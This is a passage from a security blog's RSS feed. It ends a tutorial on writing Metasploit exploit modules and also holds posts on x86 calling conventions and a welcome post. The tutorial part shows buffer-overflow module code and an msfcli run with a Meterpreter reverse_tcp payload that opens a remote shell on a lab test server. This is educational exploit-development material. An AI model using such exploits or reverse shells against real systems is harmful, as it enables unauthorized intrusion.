      buf = payload.<span style="color:#9900CC;">encoded</span> <span style="color:#008000; font-style:italic;"># Size of the payload is defined by Payload.Space in exploit infos.                                                                                                                                                                                       </span>
      buf <span style="color:#006600; font-weight:bold;">&lt;&lt;</span> make_nops<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">20</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#008000; font-style:italic;"># Some more bytes, as we defined the payload to be 500 bytes long                                                                                                                                                                                           </span>
      buf <span style="color:#006600; font-weight:bold;">&lt;&lt;</span> <span style="color:#006600; font-weight:bold;">&#91;</span>target.<span style="color:#9900CC;">ret</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">pack</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">'V'</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#008000; font-style:italic;"># Return address                                                                                                                                                                                                                                   </span>
      sock.<span style="color:#9900CC;">put</span><span style="color:#006600; font-weight:bold;">&#40;</span>buf<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#008000; font-style:italic;"># send data                                                                                                                                                                                                                                                        </span>
      sock.<span style="color:#9900CC;">get</span>
      handler <span style="color:#008000; font-style:italic;"># pass the connection to the payload handler                                                                                                                                                                                                                             </span>
      disconnect
    <span style="color:#9966CC; font-weight:bold;">end</span>
  <span style="color:#9966CC; font-weight:bold;">end</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></div></div>

<p>The only remaing thing is to test our exploit and to have fun :</p>

<div class="wp_syntax"><div class="code"><pre class="shell" style="font-family:monospace;">&gt; msfcli windows/dummy/bof-server PAYLOAD=windows/meterpreter/reverse_tcp RPORT=4242 RHOST=172.20.0.2 LHOST=172.20.0.1 E
[*] Started reverse handler
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (81931 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (172.20.0.1:4444 -&gt; 172.20.0.2:1109)
&nbsp;
meterpreter &gt; ls
&nbsp;
Listing: Z:\work\test\exploit\metasploit
========================================
&nbsp;
Mode              Size   Type  Last modified                   Name            
----              ----   ----  -------------                   ----            
40777/rwxrwxrwx   0      dir   Thu Jan 01 01:00:00 +0100 1970  .               
40777/rwxrwxrwx   0      dir   Thu Jan 01 01:00:00 +0100 1970  ..              
100666/rw-rw-rw-  3001   fil   Thu Jan 01 01:00:00 +0100 1970  .gdbtkinit      
100666/rw-rw-rw-  26814  fil   Thu Jan 01 01:00:00 +0100 1970  bof-server      
100666/rw-rw-rw-  3200   fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.c    
100666/rw-rw-rw-  3211   fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.c~   
100777/rwxrwxrwx  26665  fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.exe  
100666/rw-rw-rw-  2880   fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.o    
&nbsp;
meterpreter &gt;</pre></div></div>

<p>I hope you had as much fun as I had while writing this article, and I would like to thanks all the Metasploit team for giving us a such cool framework !</p>
]]></content:encoded>
			<wfw:commentRss>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>x86 calling conventions</title>
		<link>http://redstack.net/blog/2008/01/16/x86-calling-conventions/</link>
		<comments>http://redstack.net/blog/2008/01/16/x86-calling-conventions/#comments</comments>
		<pubDate>Wed, 16 Jan 2008 03:45:37 +0000</pubDate>
		<dc:creator>xipe</dc:creator>
				<category><![CDATA[The Basics]]></category>

		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/01/16/x86-calling-conventions.html</guid>
		<description><![CDATA[This is the first article of a (I hope) long series of articles about &#8216;The Basics: What everyone should know about&#8217; The calling convention defines the way a function or a piece of code should arrange data before calling a function, and what to do after. It responds to questions like &#8220;In which order should [...]]]></description>
			<content:encoded><![CDATA[<p>This is the first article of a (I hope) long series of articles about &#8216;The Basics: What everyone should know about&#8217; <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>The calling convention defines the way a function or a piece of code should arrange data before calling a function, and what to do after. It responds to questions like <em>&#8220;In which order should I pass the arguments ?&#8221;</em>, <em>&#8220;Should I clean something ?&#8221;</em>, <em>&#8220;Where is the result ?&#8221;</em>, &#8230;</p>
<p>There is a lot of different calling conventions. Here are the 3 I see the most of the time:</p>
<ul>
<li>cdecl</li>
<li>stdcall</li>
<li>fastcall</li>
</ul>
<p><strong>cdecl convention</strong></p>
<p>The <strong>cdecl</strong> convention is the default one used when working with a C compiler like GCC or MSVC. To use the <strong>cdecl</strong> scheme for a function, you can use this syntax (GCC):<span id="more-8"></span></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">__attribute__<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>cdecl<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #993333;">int</span> <span style="color: #000000; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> arg1<span style="color: #339933;">,</span> <span style="color: #993333;">int</span> arg2<span style="color: #339933;">,</span> ...<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>GCC will produce the following code when calling a <strong>cdecl</strong> function with 4 arguments :</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">push</span>   <span style="color: #0000ff;">0x4</span> <span style="color: #666666; font-style: italic;">; arg4</span>
<span style="color: #00007f; font-weight: bold;">push</span>   <span style="color: #0000ff;">0x3</span> <span style="color: #666666; font-style: italic;">; arg3</span>
<span style="color: #00007f; font-weight: bold;">push</span>   <span style="color: #0000ff;">0x2</span> <span style="color: #666666; font-style: italic;">; arg2</span>
<span style="color: #00007f; font-weight: bold;">push</span>   <span style="color: #0000ff;">0x1</span> <span style="color: #666666; font-style: italic;">; arg1</span>
<span style="color: #00007f; font-weight: bold;">call</span>   _cdecl_fct
<span style="color: #00007f; font-weight: bold;">add</span>    <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x10</span>
<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">-</span><span style="color: #0000ff;">0x4</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span></pre></div></div>

<p>As you can see, arguments are pushed into the stack in right to left order, and it&#8217;s up to the caller to remove the arguments from the stack (Here this is done by <code>add esp, 0x10</code>). The result of the function is stored in the EAX register.</p>
<p><strong>stdcall convention</strong></p>
<p>The <strong>stdcall</strong> convention is the one used by Win32 APIs. It&#8217;s also the easyest to use when writing ASM code, in my opinion. A function can be declared as a <strong>stdcall</strong> function in C with this syntax (GCC):</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">__attribute__<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>stdcall<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #993333;">int</span> <span style="color: #000000; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> arg1<span style="color: #339933;">,</span> <span style="color: #993333;">int</span> arg2<span style="color: #339933;">,</span> ...<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>GCC will produce the following code when calling a <strong>stdcall</strong> function with 4 arguments :</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">push</span>   <span style="color: #0000ff;">0x4</span> <span style="color: #666666; font-style: italic;">; arg4</span>
<span style="color: #00007f; font-weight: bold;">push</span>   <span style="color: #0000ff;">0x3</span> <span style="color: #666666; font-style: italic;">; arg3</span>
<span style="color: #00007f; font-weight: bold;">push</span>   <span style="color: #0000ff;">0x2</span> <span style="color: #666666; font-style: italic;">; arg2</span>
<span style="color: #00007f; font-weight: bold;">push</span>   <span style="color: #0000ff;">0x1</span> <span style="color: #666666; font-style: italic;">; arg1</span>
<span style="color: #00007f; font-weight: bold;">call</span>   _stdcall_fct@<span style="color: #0000ff;">16</span>
<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">-</span><span style="color: #0000ff;">0x4</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span></pre></div></div>

<p>As for the <strong>cdecl</strong> calling style, arguments are pushed from right to left, but in <strong>stdcall</strong> mode, the caller doesn&#8217;t have to clean the arguments from the stack after calling the function. A <strong>stdcall</strong> function removes arguments from the stack before returning. This is done by using the <code>ret n</code> instruction most of the time.<br />
Like for <strong>cdecl</strong>, result is in EAX.</p>
<p><strong>fastcall convention</strong></p>
<p>The <strong>fastcall</strong> convention is not standardized, but we will watch the way GCC and MSVC handle it. A function can be declared as a <strong>fastcall</strong> function in C with this syntax (GCC):</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">__attribute__<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>fastcall<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #993333;">int</span> <span style="color: #000000; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> arg1<span style="color: #339933;">,</span> <span style="color: #993333;">int</span> arg2<span style="color: #339933;">,</span> ...<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>GCC will produce the following code when calling a <strong>stdcall</strong> function with 4 arguments :</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">push</span>   <span style="color: #0000ff;">0x4</span> <span style="color: #666666; font-style: italic;">; arg4</span>
<span style="color: #00007f; font-weight: bold;">push</span>   <span style="color: #0000ff;">0x3</span> <span style="color: #666666; font-style: italic;">; arg3</span>
<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x2</span> <span style="color: #666666; font-style: italic;">; arg2</span>
<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x1</span> <span style="color: #666666; font-style: italic;">; arg1</span>
<span style="color: #00007f; font-weight: bold;">call</span>   @fastcall_fct@<span style="color: #0000ff;">16</span>
<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #000000; font-weight: bold;">DWORD</span> <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebp</span><span style="color: #339933;">-</span><span style="color: #0000ff;">0x4</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span></pre></div></div>

<p>As you can see, not all the arguments are pushed into the stack. The first two arguments are passed via the ECX, for the first argument, and EDX, for the second argument. The remaining arguments are pushed into the stack from right to left. The called function has to pop the arguments from the stack before returning, like for <strong>stdcall</strong>.<br />
The result is, as usual, in EAX <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://redstack.net/blog/2008/01/16/x86-calling-conventions/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Hell-o World</title>
		<link>http://redstack.net/blog/2007/07/28/hell-o-world/</link>
		<comments>http://redstack.net/blog/2007/07/28/hell-o-world/#comments</comments>
		<pubDate>Sat, 28 Jul 2007 11:13:56 +0000</pubDate>
		<dc:creator>xipe</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://redstack.net/blog/?p=3</guid>
		<description><![CDATA[Welcome to this blog !]]></description>
			<content:encoded><![CDATA[<p>Welcome to this blog !<code><br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://redstack.net/blog/2007/07/28/hell-o-world/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

